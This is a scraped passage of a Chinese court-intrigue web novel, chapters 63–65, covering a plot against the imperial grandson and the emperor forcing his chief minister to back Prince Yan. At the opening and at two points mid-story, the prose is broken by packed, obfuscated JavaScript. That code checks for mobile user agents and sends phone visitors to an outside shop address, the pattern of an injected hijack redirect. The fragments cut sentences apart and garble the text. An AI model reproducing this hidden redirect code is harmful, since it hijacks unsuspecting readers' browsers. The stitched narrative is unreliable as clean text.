0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151727|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么话需要让我带给她,写到纸上。” “没有,只望她好好保重身体。” 沈斫退后一礼,想起一事又道:“来时路上听说,忠义侯托了大媒向今年的榜眼曹菼提亲,要为长子嵇阑求娶他的妹妹。清早皇榜未放,曹菼还不是榜眼,曹家便应下了,如今人人都道忠义侯慧眼识珠,郎才女貌,是段再好不过的良缘。” 他说完转身就走。 太快了,这一切进展得真的太快了。 沈磐脑中一时空白。 ** 今年一切都很赶,桩桩件件都像是赶着去投胎的。 方继昌知道,永济帝急了。 最近春闱,永济帝为了替兖王挑选一批身世绝对清白、意志绝对坚定、才华绝对斐然的士子熬了不少心血,太医院养神保命的汤药一碗接着一碗,甚至还有奸邪余孽想撺掇他炼小儿药、点七星灯、以续长生,但都被他一一回绝。为防走漏风声,原本脾气一日暴胜一日的他居然还能忍着、捂着、留那些混子性命,方继昌只觉得自己的心被碗盖扣在热锅里猛火地煎。 永济帝该着急的。 不知为何,霍辄与长平公主等居然达成了暂时和解的默契,无人添柴,阮折纭便平安下了油锅,但锅子不烧、有人就要挨饿,霍辄不砍柴,嵇阀终究是霍辄的臂膀,他当然不会越俎代庖地挥斧头,而长平公主等青春正盛,一手捏着皇太孙、一手拿着燕王,只需慢慢熬下去,也能慢慢熬下去,熬到龙驭上天。 更让永济帝忧心愤怒、愁肠百结、乃至急得跳脚的是,他的宝贝儿子兖王又不知为何,一见他就失去了往日的从容亲近,全然变成了又一个战战兢兢、疏离冷漠的燕王。 他该急的。 然则锅内空空,实不符本朝盛世气象。 臣子不砍柴,只能由他这个皇帝来烧灶。 方继昌的心怦怦直跳。 自从霍辄抱恙,江之万成了左右近臣,永济帝便越发频繁地召见他。他是首辅,自问还是个有些志向抱负的首辅,深得皇帝的信任是大楚朝廷的福气。但方继昌知道,这不是他的福气。 今年中第的士子里,他尤其看重一个叫曹菼的年轻人,只可惜曹菼早有贤妻,家中织布纳履供他读书,中了省元后上门说和撺掇、乃至以利相诱的人不知凡几,而今中了榜眼,更坚定不移地要和糟糠妻始终如一。 这年轻人身上的那股劲儿,直让他想起冉琢明。像冉琢明好啊,是个前途无量又脚踏实地的孩子,堪配他唯一的孙女。且他身在漩涡,群狼环伺,身边只有这一个孙女,只怕有朝一日像齐天觉的女儿那样身陷诡计泥泞、不能脱身,所以早早给她寻个依靠是头等大事。 然后他就相中了眼前的探花郎楼茂都。 楼茂都出身的楼家四世三公,上数几代,追溯至天元朝出过一个帝师楼艺胜,再到升平朝又出过书院大儒、察院首脑、豪商巨富,他的曾祖父楼宥谦还曾与本朝初年的首辅柳曦既同朝为官,只是家业传到他的祖父、父亲一辈就有些没落。 好在,楼茂都有出息,不枉他楼家上下阖族期盼。 方继昌也很欣慰。 像楼家这样的世家大族,只消楼茂都出个头,再左右上下地活络一下被耽搁疏远的曾祖辈的关系,卷土重来、高楼重建是指日可待的美事。 方继昌想,有自己这个首辅爷爷撑着,在有限的时间里多多帮扶楼茂都,念着这个情,他们总会善待自己的孙女,将自己唯一的牵挂托付给楼家,他勉强能够放心。 他已经想好了,曲江宴一结束,他就会央家中老妻多方托付,势必要抢在所有人之前把楼茂都拿下。 这么美滋滋地想着,方继昌今日脸上的笑容也不禁多了些,连日的愁绪荡然无存,满心满眼都是自己撮合的这一对璧人。 他是今年的主考,算是所有进士的座师,他们拜过了永济帝,下了石舫头一个要拜会的就是他,这自然方便他拉着楼茂都细细叙说。当然,他也不能将自己的赞赏意表现得太过明显。 方继昌一一与年轻进士们叙过话,刚见楼茂都笑承过他的酒,正要热络地说上两句,常常寸步不离永济帝的大太监律林便来了,“首辅大人,陛下找。” 一个不详的念头滑过,方继昌朝楼茂都颔首笑过,敛起自己满腔的热情、规行矩步地跟上步履匆匆的律林。 63. 第六十三章 永寂心(二) 按照惯例,曲江宴都办在曲江杏园,入了三月那儿的景色便是一绝,奈何永济帝因荣安小郡主夭折,心中悲戚万分,又一念及小郡主和皇太孙曾在那里遇险,是为不详,不能让国家的栋梁也沾上未消的晦气,故而今年的地方改在了曲江行宫。 事出寻常必有妖。 沈磐放心不过,但行宫里不比杏园皇家园林,入宫的每人身边的侍从都有定数,侍卫等更是不允许入宫,索性此次行宫守卫由上三卫和府军卫共同负责,她这才能稍稍心安。 但仔细算来,她的心安也虚得很。 今日是张永一和蒲成骧正式交接的日子,自此以后,张永一便是封疆一方的宁海将军,而蒲成骧便要接管长缨卫。权柄交接之日总是差错频出之时,好在张永一说,蒲成骧为了皇太孙和她的安危,特定遵循他设定的旧制布防,以免在行宫里出现差池。 但蒲成骧本人就是个变数。 开宴时,沈磐总免不了要多看几眼。 蒲成骧和张永一聊得正欢,似是上官下属从未有过什么龃龉。 沈斫刚与那些士子认过脸熟,被劝着多喝了几杯,将将找到一个空挡跑了出来散酒,恰好和沈磐迎面相遇。 沈磐敛神,“兖王呢?他没和你一起?” 沈斫捡了个位子在无人的临水轩边坐下,“一起的,不过刚刚见到了宁先生,他应该是和先生叙旧去了。” 沈磐靠在一边,远远望着对岸石舫里歌舞升平,“近来你的心情都不怎么好,刚才见到齐元杰,说起他妹妹,你的脸色也不算好看,只愿他以为你是喝懵了神,而不是心里对他和他妹妹有什么不满。” 沈斫揉着太阳穴,“下次我一定注意。” “还会有下次吗?”沈磐盯向他,“别告诉我你又要玩刻意疏远的那一招,如今的你早就不是曾经窝在演花殿的沈斫……” “姐,我错了……” 沈磐血气逆反,差点被他这句话堵得气不过晕过去,缓过神后的语气也不禁重了起来:“心里有话就说出来,别什么时候都一副颓丧模样。” 沈斫垂着脑袋沉默片刻,轻声叹:“姐,你忘得真的很快。” 他的声音还是抖的,像是被晚风吹皱的池水,也像是被玥儿临死前捏在手中的袖口。 沈磐别过脸,“只是麻木了。” 沈斫陷入沉默,沈磐倒笑了起来,她仰头看着天上渐渐淡入的明月和潋滟的晚霞,又看向远处天幕中不甚清晰的化隆城,再看向对岸酒酣耳热的一群人和华光四射的灯火,“今天的局势,哪容得你心灰意冷、妄自沉沦?” “你虽然加了冠、定了亲,却还未完全长大,有些事你做不了,总要有人做。大言不惭地讲,曾经是二哥替我们遮风挡雨,如今我替你遮风挡雨,在东北有张永一为你遮风挡雨,但总有一日,你要替你的妻子儿女遮这妖风、挡这血雨。” 沈磐的眼眶有些湿润,想来是被这风沙迷了眼,她迎着沈斫的目光,倍感艰难地道:“现在,你马上就要有妻有子,不论你对她们有几分真心,你都不能抛弃她们,也不能想着像从前对我们那样,以为疏远便能淡去感情,以为一个人赴死便能了无牵挂。” “你觉得这事情脏,这地方乱,这人心险,你不想拖累旁人,妄想一了百了便能皆大欢喜……但人与人间的感情是切不断的,你也骗不过自己,可你还想逃,逃到那小小的演花殿里。” “磐磐——” 沈磐恶狠狠道:“该叫我‘姐’,我这当姐姐在教训你,你别想再逃!你若不想让她们伤心,那你就强大起来,你能周全自己,你能保卫边境,如何保护不了妻子儿女!如何保护不了你的至交好友!如何保护不了这泱泱天下!” 她拽着沈斫的领子,“一个懦夫,不配当我弟弟!我都没怕,你怎敢怕!” 沈斫震撼地睁大眼。 自沈斫的瞳孔里,沈磐都能看见自己的脸,像头索命的恶鬼,面目可怖。 她被自己吓得微一撒手,即刻就看见张永一的手伸到了他们两人之间,他本似牵上自己的手,又转而变了心思扶住沈斫。沈磐一连后退两步,这才看见跟着张永一赶来的蒲成骧。 必然是张永一看见他们两个差点动起手,这才赶过来劝架。 沈磐低着头胡乱应下蒲成骧的礼节,略略辨别了方向就沿着临水长廊向更远更深处走。 沈斫的眼睛就黏在沈磐越发模糊的背影上,伸手匆忙地推了推张永一,“快跟着,别出事。” 张永一应下,拔足奔了上去。 ** “公主!” 沈磐猛地驻足转身,刚好投入张永一的怀中。今天他没有着甲,怀抱还是热烈的,更兼他们早没了起先的生疏,他的怀抱更多了几分容易轻易沉陷的柔暖。 张永一抬头四下边张望着,边伸手迟疑地顺着她的背,“怎么吵架了?” 沈磐不说话,只是抱着他的腰勒得更紧了点。 等夕阳再落了半个山头,这样在各种影子交缠出的黑暗里抱了有一会儿,沈磐这才闷闷回答:“有些累了。” “最近他心情不好,你的脾气也不稳定。” 沈磐狠狠捶了他一拳,但张永一浑身的肌肉绷起来硬如铁块,这一拳非但没起到任何震慑,反倒险些把她自己打疼了。 张永一不禁笑出声,抚着她的背,“当心你自己的手。” 远处有些悉悉索索的响动,像有人说着笑往这里走来。张永一登时警觉,刚松开自己的手就听见沈磐道:“再抱一会。” 他也很想再抱一会儿,不,一直抱到沧海变了三千次桑田,但这廊道里马上就不只是他们两个人了,这处黑暗很快就要被灯火霸占,且他现在早已没有了当初那种想不顾一切冲到陛下面前请婚的冲动,他只在各种各样的考量里不想拖累沈磐半分;但沈磐难得主动,难得这么依恋他,他舍不得。 心念一定,张永一抱起沈磐便跳出了长廊。 这处长廊一面临水,一面堆山,堆山的这处栽满了花卉,再往前走上几步便用全封闭的白墙隔开,只有几扇精致的花窗供廊上人窥伺墙外春景。 张永一便转到了白墙后。 沈磐抬起头,就看见最后一缕霞光从那花窗里漏出,擦着张永一的鼻尖便渐渐淡去。 那边喧腾的一帮人闹得更厉害了,但好似原地开席,根本没有往他们这里来。 沈磐禁不住笑了,只是天光已暗,张永一看不见她的笑,却还听得见她的嘲笑:“胆小。” 是啊,他不仅变得束手束脚,还变得更加胆小。 沈磐贴着他的心堂,“今夜之后,你就算离开了东宫,你我相见,便只能像现在这样偷鸡摸狗、见不得人。” 只能在黑暗里放纵。 “那便多见一会儿。” 沈磐轻哂。 可他们是站在光明里的人。 人生放纵只得一时。 逾期不候。 沈磐摸索着捧住他的脸,仰头亲了过去。 张永一微一踉跄,撞上身后的墙。又听得远处有人走来,说着笑,谈着天地、论着鬼神,有问有答地往这里走,走至近处,其中有人喊了一句:“刘兄!说什么呢这么好笑?” 另一人笑道:“刚才在不知哪个犄角旮旯里撞见一对鸳鸯,黑灯瞎火的……就这廊下黑黢黢的,咱们仔细搜搜,指不定也藏着痴情男女在盟誓天地!” 他的心立时提了起来。 沈磐却像是听不见般,这吻索得越发急迫。 那人惊诧:“不会吧!这可是行宫诶!时辰快到了马上就要滚蛋了,若非皇亲国戚得以留宿,这忙着掏家伙、不知来不来得及收住!” 众人笑作一团。 沈磐上气不接下气。 张永一一直注意着这帮人的动向,被沈磐咬了一口,这才回过神,知道她生气了,赶忙要哄,就听得那帮人呼啦啦地往回走了,不过一瞬便散了个没影。 廊上重归平静,衬得墙下他们两个人的喘息更加轰鸣。 张永一听得沈磐轻哼一声,像是对自己“过分”的小心谨慎的恣意嘲讽。他错开脸要说上一句,刚往后一仰便撞上了墙,怀里沈磐就笑出声。 略一分开,他们便觉得唇上凉凉的,拂过的尽是晚风。 然则,春夜亲吻乃饮鸩止渴。 沈磐的发丝扫过喉头,像是爬过了挠不到的虫子,张永一不由想起,昨夜他们还相依相偎,今天她便与云勉出双入对,而此时,躲在这无人的角落中、藏在这浓稠的黑暗里,他们又似喝醉了酒、发疯般紧紧抱在一起。 他的怀抱更热了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兖王叹气:“我真是没办法了!一旦让父皇知道,只怕我们都性命难保,况且此时,就算我告诉了他,他也未必会信……就算信了又怎样?我们兄弟两个早就被架在火上烤了,大家都在拼命地煽风点火,想逃?做梦啊!” 两个人越走越远。 沈磐的心重坠深潭。 宁晨铎和兖王还在前面走着。 “老师,我是不是特别没用?胆小如鼠,更蠢笨如猪……我从小就讨厌这些,我也从来都不想要什么储位,这与人周旋拉帮结派更不是我能做的。一家人,就算是两个母亲生的,好歹是同一个父亲、同一个姓氏,为什么就不能和和美美地过下去?我只能抱怨,却改变不了一点。” “最可笑的是——”他抓住宁晨铎冰凉的手,浑身的血却沸腾起来,“挑起事端的人,是那些支持我、拥护我的亲长,是最宠爱我的父亲。” “老师,我在与全世界为敌……” “这辈子,我最害怕的事情,还是发生了。” “老师,我到底该怎么办?我能不能以死谢罪啊……” 宁晨铎覆上兖王的手,“死,是这世上最容易的事,也是最巽懦的选择。殿下,你不曾害过人、不曾想害人,你何罪之有?若你一定有罪,那便罪在你可以改变却选择了逃避!拖得越久,就越难以挽回,趁现在还有时间,一定要好好抓住这个机会!” 兖王仰天叹息,眼泪便流了下来。 他想说,好,老师,我这就去和五哥坦白,我这就去。 可他想得到将来,若父皇听见了他的“胡话”,他的舅舅怎么办?他的父亲是九五至尊的皇帝!他能杀了他最喜欢的女人,当然也能杀了他最器重的臣子和最宠爱的儿子!他能够从容赴死,可他的舅舅多么不易! 宁晨铎察觉得到他的动摇,他刚要开口再擂鼓振作,却见前方盘山的临水假山里有打着灯笼的人影晃过。 沈磐和张永一当然也看见了,但离得实在是远,十五之夜的团圆月也被破布似的云缕盖去了光彩,天色蒙蒙昧昧不够分明,便是张永一目力超群也看不清那人的面容。 宁晨铎攥住兖王的手,兖王被他握得手痛,刚要出声询问,一抬头就看见假山中又晃出的一道人影,隐约瞧着,像是朱甡? 兖王惊骇:“朱甡?他不是被降职了吗?应当在家中思过,不应该被派到行宫里啊。” 宁晨铎四肢冰凉。 64. 第六十四章 永寂心(三) “不行,朱甡突然出现在这里,莫不是奉了舅舅的命令?他们究竟瞒着我要干多少事!” “不可去!” 兖王脱开宁晨铎的手,“老师,这便是我改变的机会……” “若被发现——” 兖王抬头,就看见天上云缕渐渐飘散,泄下的月光苍白又凄凉,将宁晨铎清癯的脸勾画成了一张鬼脸。他见过这样的表情,在刑部狱里等着秋后问斩的死囚脸上见过,惊恐、痛苦、悔恨、怨恨、绝望,种种交织难辨其一。 “殿下,若被发现,你就……” “老师,我非去不可!况且,就算被发现,朱甡也不会对我怎样。老师,你尽管放心!” 说完,连给宁晨铎张嘴再劝过最后一回的机会也没有,兖王郑重地朝这个一刹那苍老成一堆白骨的老头行礼,随即奔入茫茫的夜色里。 虽不是真正的山路,但假山造景间的石子路也着实让金尊玉贵养大的兖王吃尽苦头,放在往日,他必然走走停停、还要赋诗一首应和这一番磨砺,但眼下他一门心思只在朱甡的突然出现,根本注意不到自己那华贵的锦袍上精美的刺绣被枯枝落叶磨得有几分毛躁,更注意不到身后还鬼鬼祟祟尾随着何人。 朱甡有功夫在身,兖王不敢靠得过近,只在几步远的一座假山后藏匿,幸好这距离不远不近,恰好够他清晰听见朱甡的声音,只是此地并非朱甡一人,与朱甡瞒天过海在此私会的那个人就湮灭在了静夜里的几声乌啼中。 他们不知聊到了什么,朱甡明显不满:“这可是行宫,守备森严,怎可能如此容易?我手上的锦麟卫不多,还都在行宫之外,今夜我也是掩人耳目偷跑前来,行宫里的锦麟卫我可调不动……” 那人嗤笑:“那朱佥事还敢向我投诚?就不怕我口蜜腹剑,转身去霍大将军处告发你?” 兖王大惊失色。 朱甡居然要出卖他舅舅! 朱甡不怕他的威胁,反而威胁起他:“且去,就看到时候是我被霍辄处置,还是你被陛下处置。” 那人笑了,耳熟的声音却越发低沉起来,低得兖王几乎听不见,只勉强抓住诸如“杀敌一千、自损八百”和“万全”之类的字眼。 朱甡啧了一声,心里的不满溢于言表,他很不客气地反驳:“江大人找上我,岂不是也想给自己找条退路?” 是江之万! 兖王的腿顿时抖了起来。 朱甡装得漫不经心:“南越将军的位子乔晏坐得稳,可阴阳卫指挥使的大刀,江大人再有本事,便是能够通天,只怕也握不住。毕竟,这是把要命的刀,能要了旁人的命,也能要了江大人你的命。” 江之万回了一句,朱甡继续道:“如果江大人真有保命的法子,现在早该按照陛下的命令去抛头颅、洒热血、背黑锅了!怎会与我互通往来?实话说,我便是江大人的下场,再说得残忍些,陛下比不得霍辄重情重义,我这把用废了的绣春刀好歹有个苟活的去处,江大人你这口刀若是豁了口,只怕马上就要被融了铸新铁。” 这番话必然戳中了江之万的痛处,他沉默了片刻,声音才随着晚风飘来,“那朱佥事为何又要背主叛逃呢?” 朱甡不由得惋惜:“江大人,实话与你说了,陛下两面三刀,最是心狠手辣、不择手段。而今霍辄生出了退缩之意,陛下绝无容忍,他的荣耀保不了几时,便是性命也危在旦夕。我跟着他多年,他对我确有提携之恩,我也用半生的追随尽力报答了——” 他摇头:“可是我也有一家老小,我也需要活命,为着他做事我得罪的人不知凡几,他放我苟活,我的那些仇敌还等着痛打落水狗!逆水行舟不进则退,大家都是刀口舔血的人,江大人应该能够理解我的苦衷。如今江大人正炙手可热,陛下把你捧到这个地步,必然有他的谋划,但江大人与陛下的君臣恩义还不如霍辄!他对你能有几分真心?他把你从西南调回,用你半生戎马换来的安宁去送乔晏一个人情,还想借此煽动你对乔晏的恨意,如今更把你当作刀子去和满朝文武过招,让你背这些遗臭千古的骂名……” “不必多说!” “好,大人心里必然清楚,所以才愿意与我共谋出路。” “你只说,能不能办吧。” “大人,皇太孙不过孩童一个,纵然身边长缨卫万千,要处理一个孩子何其简单?只是行宫之内,陛下既然要你出手,定然要斩草除根,但若真动起手来,刀剑无眼,两桩案子全都栽在你一个人头上……” “你到底想干什么?” “皇太孙不能死在行宫里。” 江之万细细思量。 “只要出了行宫,大人就尽管放心,我手上的人虽抵不过长缨卫,但愿意前后奔走的大有人在。” “是谁?” 朱甡与之附耳,说了一个名字。 江之万不禁冷笑:“果然,这世间的君臣、主仆、夫妻,与大难临头各自飞的畜生也无甚区别。” 兖王屏住呼吸。 他们并未原路返回,朱甡还等江之万抄了近路下山过后方才动身。 他的心砰砰直跳,在这夜里山上格外吵嚷。他只求朱甡不要发现他,一直战战兢兢等前方再无响动过后,他这才松开一口气,撑不住跌坐在地上。 兖王深吸一口气,刚打算要赶紧去告诉沈斫等人皇太孙有危险的消息,扶着假山颤颤巍巍站起一抬头就看见,早该下了山的朱甡竟然目不转睛地盯着他看! ** 天色一暗,赴宴的士子官宦便陆续出宫。沈斫久等不回沈磐和张永一,便与蒲成骧一起给前来道别的武官们回酒,刚回到乔颐光,说起他父亲乔晏在西南的光景,蒲成骧难免伤怀自己的遭遇,沈斫正温言要劝,就见酒局外急得火烧眉毛的团圆频频朝他使眼色。 沈斫只能一口闷完杯中酒连道告罪,勉强从乔颐光等人难缠的热络里脱身。 “磐磐出事了?” 团圆将一张字条塞进沈斫手心,她轻声提醒:“是嵇公子的消息,我找不到公主,便只能来找殿下。” 沈斫手一抖,走至无人处对着灯光展开。 出宫路有埋伏,有我暗卫相护,此路可行。 沈斫将字条捏进掌心。 今日嵇阑并未出席,却在行宫外探得出宫的路上会有埋伏。既不是他们的安排,这场埋伏的目的不外乎要杀了他和沈仪璩,至于幕后黑手也不外乎是兖王党羽或者直接是永济帝。可是今夜,他们是要在行宫留宿的,是必然不会擅自出宫的,那争对他们叔侄的埋伏岂不是要打水漂? 沈斫再将嵇阑言中意细细咀嚼两遍。 忽然,对着脑中映出的由嵇阑潦草写就的“此路可行”四个字,沈斫心头一颤。 那边,人群中走来了元亨,循着自己的方向径直而来,“燕王殿下!方才律林来传旨,说是陛下风寒严重,怕让皇太孙过了病气,所以让皇太孙回城过夜……” 沈斫头皮发麻。 原来是永济帝。 元亨还没有说完,沈斫就奔向蒲成骧,也不管蒲成骧是否还举着杯与人客套,便将人一把拖了过来,“快!快去把长平找回来,赶快准备回城……” 蒲成骧见他脸色骤变,以为是出了什么事情他们姐弟几个要紧急出宫,也不敢耽搁,即刻要招来长缨卫,却听元亨继续说:“但是陛下下旨,要让殿下您和兖王殿下留下来侍疾!” 侍疾! 果然,这一切都说得通了!哪怕路有埋伏,嵇阑派尽了身边高手也要附上一句“此路可行”,是因为留在这曲江行宫里还会有远比夜归遇袭还要恐怖的事情发生!所以啊,出宫之路既是死路,也要变成一条血搏出来的生路! 沈斫吩咐蒲成骧:“继续去找长平,找到了就接上皇太孙立即出发,安排精锐护送,最好与离宫的臣僚同行,千万不要落单!” 元亨忧虑道:“殿下,那您呢?您身边必须要多留些人以防不测……” 沈斫深吸一口气。 必然会有不测的。 但他不能这么直白地说,会吓到他们的。 沈斫道:“没事,有兖王在,他们投鼠忌器。” 蒲成骧不知前因后果,却一下子把握住关键,“去,要快些找到长平公主,也要找到兖王殿下的行踪!” 不一时,元亨带来了沈仪璩。众人见皇太孙来了,联系起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161920|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈斫方才的脸色,备觉此地要有大事发生,连美酒佳肴和人情往来都顾不上,纷纷道着“告退”。 蒲成骧附耳:“殿下何不拦一拦他们?乔颐光与韦如洋是世家子,再加上韦如洋的父亲兵部尚书房桂稻,就算……就算路上有人起了歹心,他们出手前也要掂量房桂稻与乔晏的势力。” 沈斫望向乔颐光等人,乔颐光等也正打量着他,目光相触的瞬间,沈斫与他们颔首示意,任由他们三三两两、嘻嘻哈哈地走出厅堂。 他方才与蒲成骧下令,不愿归程落单、陷入敌手,但永济帝要屠杀东宫旧人的决心比真金还真,一而再再而三地失手早就耗尽了他本就干涸的耐心,这次他是下了血本,若不成功他这个皇帝都可能下台,区区一个乔颐光、一个韦如洋,还有一个他早就看得不耐烦但迫于局势不得不忍让的房桂稻,乔晏更远在天边、鞭长莫及,这些蝼蚁怎么可能拦得住他前进的步伐? 沈斫到底不愿意拖累他们。 “让他们走,我们的人手护不住太多。” 沈斫看向满眼惊惧的沈仪璩。他本想像沈磐那样摸摸他的脑袋,温言细语宽慰他说一切都没事的,可他想抬起手,却觉得装在护腕下、藏在长袖中的那盒轻便的袖箭沉甸甸的,沉重得让他连手腕都抬不起来。 他终于没有再向沈仪璩粉饰这早就不存在的太平。 天真无邪逝世久矣。 沈斫抬起头,看向自己的亲卫,“去宫门口守着,看看还有谁没离宫。” ** 永济帝私下召见,于方继昌来说是家常便饭。但今日的方继昌总有不详的预感,而躺在榻上呻吟不止的永济帝让他的预感落到实地。 他的身子不是一日糟蹋成这样的,但却是一日不见,不,是片刻不见就连坐也坐不起,只能躺在榻上痛苦地望天。 “陛下!老臣来了。” “方继昌,你上前来。” 方继昌从地上爬起,慢吞吞走至龙榻前跪了下来。床前宝鼎中弥散出来的熏香,浓稠得泛苦,苦得能让人肝肠寸断。 永济帝艰难地伸出手,方继昌一把握住,他手掌间流逝的温度让人惊心。 “方继昌,你是跟着朕南巡过的。” “是,那是老臣这辈子的荣耀,老臣永远也不会忘记。” 像是惊蛰新雨泛起了湖底泥沙,永济帝的眼睛浑浊起来,“当年同路之人,如今只剩下你一个在朕身旁,朕,好孤独,无人可以依靠。” 方继昌凑过去,真诚道:“苏子瞻有词,高处不胜寒,陛下为了天下人的福而独守这高处的孤寒,目光短浅者不知陛下的苦心,但朝中自有心明眼亮者,会为陛下传百年的声名、扬万世的福音。” 永济帝扯了一个笑,“别和朕诹那些酸言。” “这是酸言,也是真心,真心总是酸的。” 永济帝咀嚼着“真心”二字,眼眶不禁湿润。他用狠劲拉着方继昌的手,“好,是真心,朕很多年没有看见‘真心’了。” 方继昌很想说,这举目四野,所有人的真心都在你身上。站得高、看得又远又清楚,可你为什么看不见呢? “方继昌,你对朕是真心的吧?” 方继昌膝行上前,跪得更近,刚要开口,永济帝便挣扎着撑起身,双手攥着他的双手,一字一句道:“你用真心,和朕说句实话……” 方继昌的眼眶也红了。 他知道永济帝要问什么,必然要问兖王,必然也要逼他表态。 必不许他模棱两可。 年轻时他就是个雷厉风行的皇帝,有柳曦既等能臣良将左右护法,他更是说一不二、言出法随、政通人和得未尝败绩。中年时,趁着年轻时留下的家底继续宰割天下,但他和曾经那个眼里揉不得沙子的少年天子大不相同,他曾经站在黑白两面之间、走尽那些骑墙之辈的路,而那时,他懂得了中庸和回避,他松了松套在文武百官脖子上的绳,也松了松自己的绳。 如今春秋不再、两鬓微白,他又重拾年轻时的脾气,硬是要求一个强扭的结果。 他们君臣两人,俱是泪满沟壑。 “方继昌,你觉得兖王怎么样。” 65. 第六十五章 永寂心(四) 方继昌揩去眼泪,“兖王殿下才华横溢,宽厚仁善。” 永济帝重申道:“他如果当皇帝呢!” “比不上陛下。” 隔着眼泪,方继昌敢直视永济帝,永济帝却不敢看方继昌的眼睛。他闷闷咳嗽两声,又无谓地问:“如果你是首辅呢!” 方继昌垂下视线,“比不上柳曦既。” 永济帝痴痴笑了起来,他喃喃自语,说什么“都晚了”、“来不及”,又说什么“也好”、“也配”、“也可以”,旋即他就像是发了疯病一般捉着方继昌的手,狠厉地逼迫:“朕要你起誓,你要辅佐兖王,直到死,也不能背叛他!” 方继昌字字清晰地复述:“我方继昌在此立誓,必当尽心辅佐兖王,至死不叛,如有背离,不得好死!” “好!”永济帝忽然有了精神,他艰难地坐起,盯着方继昌的眼神一瞬不瞬地继续道:“朕听闻你方家后继无人,只有一个孙女,朕要你把她嫁给兖王,入皇室玉蝶,践你方家的承诺!” 这弥漫室内的熏香顿时脱去了苦味,全然变成了直冲天灵的腥气。 方继昌没有犹豫,大声应下:“臣遵旨。” “好!律林!律林!” 大门一响,律林疾步走入,手中还捧着一柄早已写就的圣旨。 “这是赐婚的旨意。”永济帝望着那圣旨,仿佛在望他等了几十年的一场梦,那触手可及的梦,近在眼前。 方继昌朝他重重磕头,目不斜视地接过这如有千钧的圣旨。 听着这悦耳的声音,永济帝再度自言自语:“那就让一切的罪孽,在我这里终止。” 他想还给兖王一个清白的乾坤。 方继昌步履沉重地走至室外,怀里揣着的圣旨更像烧红的铁棍般滚烫。他没头没尾地走了几步,不知走到了哪里,一抬头就看见,楼茂都与今年的状元郎把盏言欢,与曾经喝着酒、笔走龙蛇的兖王一模一样,少年人眉飞色舞,满心满眼都是自己辉煌的前程。 方继昌隔岸看了会儿,这才离开。 ** “沈斫!璩儿!” 听见沈磐的声音,沈斫转身,就见沈磐踉踉跄跄地跑着,身边张永一的背上还背着一个人,走近一看,居然是兖王。 沈磐言简意赅:“他偷听朱甡和旁人密谋,被朱甡发现后打晕。” 蒲成骧奇怪:“不对,朱甡应该戴罪在家,绝不可能出现在行宫,此事我万分确定。” 沈斫来不及琢磨,拉起还要说话的沈磐,“快走,带着璩儿回城。” 元亨迅速将陛下的意思复述一遍,沈磐当即变了脸色,“那还等我作甚?你还要留在这里等死?” 见沈磐这犟脾气又要发作,沈斫也不管兖王是趴在了桌上还是摔在了地上,直接把张永一推了过去,“永一你带着他们回城!这是命令!” “他已经不是长缨卫了,你还敢命令他,我是你姐姐,我的话你就敢不听了吗……” 沈斫推搡着张永一,借张永一的身体挡住沈磐的诘问,又命元亨抱起沈仪璩,即刻往宫门口走。 “忠义侯还没走,你们一定要赶上,千万别落单……” 见元亨抱着皇太孙已经跑远,张永一顾不得太多,扛上还要和沈斫理论的沈磐就追了出去。 他们是亲兄妹,一个眼神就知道这是注定的死局。 “这个傻子!一心只想一了百了……” 沈磐被气得嘴唇都在抖,一个晚上情绪起伏,现在已经没有力气再在张永一怀里扑腾,张永一见她似是平静下来,恰恰宫门近在眼前,便将人放了下来。 双脚一落地,沈磐就捉住张永一的手,“你现在就去皇城兵马司找齐家人,就说燕王有难……不!就说陛下有难,要他速速来救。” 张永一还在迟疑,又听沈磐低声嘱咐:“去了皇城兵马司,不论齐家人答不答应出兵,你都要想办法先给沈碧传信,陛下病危,让她即刻前往行宫,然后就去找卿澈,将陛下的旨意说给他听,他必然会有所动作,一切就按他说的去办……” 张永一握住她颤抖的手,“好,你要保重。” 沈磐最后看他一眼,将张永一的容貌彻底烙入脑海,这才松手,“你也要保重。” 一上车,团圆便将嵇阑的字条递了过来。 沈磐细细读过,一言不发地推开车窗。 回公主府的路不算远,只需要进了城门,入了化隆城,遇袭的风险便会大大降低。山道前方悠然行着的那辆马车应当就是忠义侯府的,看方向,似是要走靖远门。靖远门途径上林苑,这个时候最是冷清萧索,最适合埋伏偷袭,忠义侯带着一帮着甲的家丁,跟着他们走的确更安全些。 但若让沈磐选,她会去务本门根除隐患。若去务本门,那就要走曲江杏园,如今春闱刚过,曲江边最是车水马龙,游览归城的车马一多,顾及着众目睽睽、那些人也找不到下手机会。 马上就要到择路的关头。 沈磐逼着自己静下心来再去想,若她要设伏,这些人马机关该设在何处。是了,走务本门绕远,走靖远门才划算,若事先不知道有埋伏,但以她的谨慎,必定甘愿绕远也不愿走险。 可是。 沈磐回想元亨复述的旨意,陛下只让皇太孙回城,又只让兖王和燕王留下,并未提及自己。永济帝总不可能是病糊涂了忘记了还有自己这个惯爱搅局的女儿,他的考虑里一定会包含自己。 那自己又会在哪里呢? 沈磐越想脑中越乱,听长缨卫提醒,忠义侯岔去了前往靖远门的山路。 